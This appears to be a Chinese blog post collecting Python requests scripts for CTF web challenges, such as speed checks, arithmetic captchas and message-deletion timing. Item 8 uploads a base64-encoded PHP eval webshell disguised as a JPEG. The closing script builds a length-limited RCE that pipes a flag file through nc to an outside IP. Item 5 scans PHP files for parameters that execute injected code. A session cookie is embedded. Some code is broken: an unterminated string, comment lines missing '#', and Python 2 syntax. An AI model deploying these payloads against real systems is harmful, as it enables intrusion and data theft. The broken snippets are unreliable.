web request python脚本

原创已于 2023-12-14 21:13:15 修改 · 199 阅读

0 ·

CC 4.0 BY-SA版权

文章标签：

#前端

于 2023-09-17 11:22:56 首次发布

bugku 速度要快

import requests
import base64
 
url = 'http://123.206.87.240:8002/web6/'
req = requests.session()
res = req.get(url)
flag = res.headers['flag']
 
txt = base64.b64decode(flag)
txt=txt.decode()
txt = txt[txt.index(":") + 2:]
txt = base64.b64decode(txt)
 
data = {'margin': txt}
ans = req.post(url, data)
print ans.content

bugku 秋名山车神

import requests
import re
 
url='''http://114.67.175.224:18471'''
 
#創建一個session,帮我们跨请求保持某些参数，也会在同一个session实例发出的所有请求之间保持cookies
session1=requests.session()
 
#获取返回数据包信息
response_get=session1.get(url)
 
#匹配1232131231-123123123-12312321算数表达式
result=re.search(r'(\d+[+\-*])+(\d+)',response_get.text)
#print(result)
 
#获得算数表达式匹配结果
expressions=result.group()
#eval()--执行()代码
myvalue=eval(expressions)
 
#创建一个字典
key = {'value':myvalue}
#用post方法传上去
flag=session1.post(url,data=key)
print(flag.text)

3.typingtrain 直接用get

4.组委会模拟器

import requests
import re
from time import sleep
from json import dumps

req=requests.session()
url='http://202.38.93.111:10021/api/' # 修改
headers={ #修改Cookie
    'Content-Type':"application/json",
        'User-Agent': "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/119.0",
        'Cookie':"session=eyJ0b2tlbiI6IjMxODg6TUVVQ0lRRHM1K1FnYVRxTElaSmRBazBrWTFwRGtTMUV6dlZIeXZYTTlRZjZyOWJvbEFJZ0VWK2pxbTVId01ZdlJ2VHBOcUNaK1g4QnpHKzNiU1JYWlpvbTlmVEltNmM9In0.ZUSqYA.8ZuTpsbEuBhu3yvHkSmNuLz_RR8"}

res=req.post(url=url+"getMessages",headers=headers)
delays=re.findall(r'"delay":(.*?),',res.text) #提取所有消息的延迟
comm=re.findall(r'"text":(.*?)"}',res.text)#提取所有消息的内容
# print(len(comm))
t=0

for i in range(len(comm)):
    if re.search(r'hack\[(.*?)\]',comm[i]):
        sleeptime=(float(delays[i])-t)*0.955
        # 延迟时间=下一条信息的时间-上一条信息的时间
        # 考虑到程序本身执行的延迟，乘上一个小于1的倍率
        sleep(sleeptime)
        t=float(delays[i])
        data={"id":i}
        print(data)
        # 由于delete以post提交json表单，所以使用dumps序列化data
        del_=req.post(url=url+'deleteMessage',headers=headers,data=dumps(data))
        print(del_.text)

sleep(2)
res=req.post(url=url+"getflag",headers=headers)
print(res.text)

import re
import time
import requests

s = requests.Session()
s.cookies.set('session', '')

r = s.post('http://202.38.93.111:10021/api/getMessages')
messages = r.json()['messages']
t0 = time.time()

for i in range(1000):
    message = messages[i]
    if re.search(r'hack\[[a-z]+\]', message['text']) is None:
        continue
    while t0+message['delay'] > time.time():
        continue
    r = s.post('http://202.38.93.111:10021/api/deleteMessage', json={'id': i})
    print(f'{i}: {r.json()}')

r = s.post('http://202.38.93.111:10021/api/getflag')
print(r.json())

5.高明的·黑客：多线程，一次性发送全部参数

import os
import requests
import re
import threading
import time
print('开始时间：  '+  time.asctime( time.localtime(time.time()) ))
s1=threading.Semaphore(100)  							  			#这儿设置最大的线程数
filePath = r"D:/soft/phpstudy/PHPTutorial/WWW/src/"
os.chdir(filePath)													#改变当前的路径
requests.adapters.DEFAULT_RETRIES = 5								#设置重连次数，防止线程数过高，断开连接
files = os.listdir(filePath)
session = requests.Session()
session.keep_alive = False											 # 设置连接活跃状态为False
def get_content(file):
    s1.acquire()												
    print('trying   '+file+ '     '+ time.asctime( time.localtime(time.time()) ))
    with open(file,encoding='utf-8') as f:							#打开php文件，提取所有的$_GET和$_POST的参数
            gets = list(re.findall('\$_GET\[\'(.*?)\'\]', f.read()))
            posts = list(re.findall('\$_POST\[\'(.*?)\'\]', f.read()))
    data = {}														#所有的$_POST
    params = {}														#所有的$_GET
    for m in gets:
        params[m] = "echo 'xxxxxx';"
    for n in posts:
        data[n] = "echo 'xxxxxx';"
    url = 'http://127.0.0.1/src/'+file
    req = session.post(url, data=data, params=params)			#一次性请求所有的GET和POST
    req.close()												# 关闭请求  释放内存
    req.encoding = 'utf-8'
    content = req.text
    #print(content)
    if "xxxxxx" in content:									#如果发现有可以利用的参数，继续筛选出具体的参数
        flag = 0
        for a in gets:
            req = session.get(url+'?%s='%a+"echo 'xxxxxx';")
            content = req.text
            req.close()												# 关闭请求  释放内存
            if "xxxxxx" in content:
                flag = 1
                break
        if flag != 1:
            for b in posts:
                req = session.post(url, data={b:"echo 'xxxxxx';"})
                content = req.text
                req.close()												# 关闭请求  释放内存
                if "xxxxxx" in content:
                    break
        if flag == 1:													#flag用来判断参数是GET还是POST，如果是GET，flag==1，则b未定义；如果是POST，flag为0，
            param = a
        else:
            param = b
        print('找到了利用文件： '+file+"  and 找到了利用的参数：%s" %param)
        print('结束时间：  ' + time.asctime(time.localtime(time.time())))
    s1.release()

for i in files:															#加入多线程
   t = threading.Thread(target=get_content, args=(i,))
   t.start()

6.计算器

import re
import requests
url='http://node4.anna.nssctf.cn:28531/'
session保持会话
s=requests.session()
num=64912893 + 89266395
data={'answer':num}
res=s.post(url=url,data=data)
res.encoding='utf-8'
exp=re.findall('<br>(\d+.*\d+)<br>',res.text)[0]
num=eval(exp)
for i in range(1011):
    print(num)
    data={'answer':num}
    res=s.post(url=url,data=data)
编码防止中文乱码
    res.encoding='utf-8'
    print(res.text)
    if i >= 1000:
        print(res.text)
    if 'flag{' in res.text:
        flag=re.findall('flag{.*}',res.text)[0]
        print(flag)
        break
    else :
        exp=re.findall('<br>(\d+.*\d+)<br>',res.text)[0]
        num=eval(exp)
        print(num)
        print(i)

7. guss who am I

import requests

answer = [
   {
        "id": "陈斩仙",
        "intro": "什么都不会 / 咸鱼研究生 / <del>安恒</del>、<del>长亭</del> / SJTU",
        "url": "https://mxgcccc4.github.io/"
    },
    {
        "id": "Eric",
        "intro": "渗透 / 人工智能 / 北师大博士在读",
        "url": "https://3riccc.github.io"
    }
]
s = requests.session()
for i in range(200):
    getscore = "http://week-1.hgame.lwsec.cn:32703/api/getScore"
    getquestion = 'http://week-1.hgame.lwsec.cn:32703/api/getQuestion'
    verifyanswer = "http://week-1.hgame.lwsec.cn:32703/api/verifyAnswer"
    r1 = s.get(getscore)
    if "hgame" in r1.text:
        print(r1.json()["message"])
        break
    else:
        r2 = s.get(getquestion)
        data1 = r2.json()
        find_id=data1["message"]
        for j in answer:
            if find_id in j.values():
                id = j["id"]
                break
        data = {"id":id}
        r3 = s.post(verifyanswer,data=data)
        if "Correct answer!" in r3.text:
            print(f"第{i+1}次正确")

8.上传文件

import requests
import base64
 
content = b"""aaaPD9waHAgZXZhbCgkX1JFUVVFU1RbOF0pOz8+"""
 
url = "http://43.142.108.3:28571/Ns_SCtF.php
 
data = {"submit": "Submit"}
files = {'file': ('1.php', content, 'image/jpeg')}
resp = requests.post(url, data=data, files=files)
print(resp.text)

长度限制rce:

import time,requests
#7长度命令执行

baseurl="   /?cmd="
s=requests.session()
#cat flag|nc 192.168.1.161 7777
list=[
    '>7777',
    '>1\%20\\',
    '>16\\',
    '>1.\\',
    '168.\\',
    '2.\\',
    '>19\\',
    '>c\%20\\',
    '>\|n\\',
    '>ag\\',
    'fl\\',
    '>t\ \\',
    'ca\\',
    'ls -t>a'
]
for i in list:
    time.sleep(1)
    url=baseurl+str(i)
    s.get(url)
s.get(baseurl+'sh a')